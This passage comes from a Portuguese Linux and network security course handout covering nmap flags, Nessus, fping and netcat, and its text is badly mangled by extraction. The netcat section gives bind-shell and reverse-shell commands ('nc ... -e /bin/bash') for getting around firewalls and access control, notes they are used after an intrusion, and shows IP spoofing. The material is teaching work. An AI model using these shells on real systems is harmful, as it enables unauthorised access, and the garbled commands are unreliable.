Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 18: Curso de segurança em linux e redes em geral

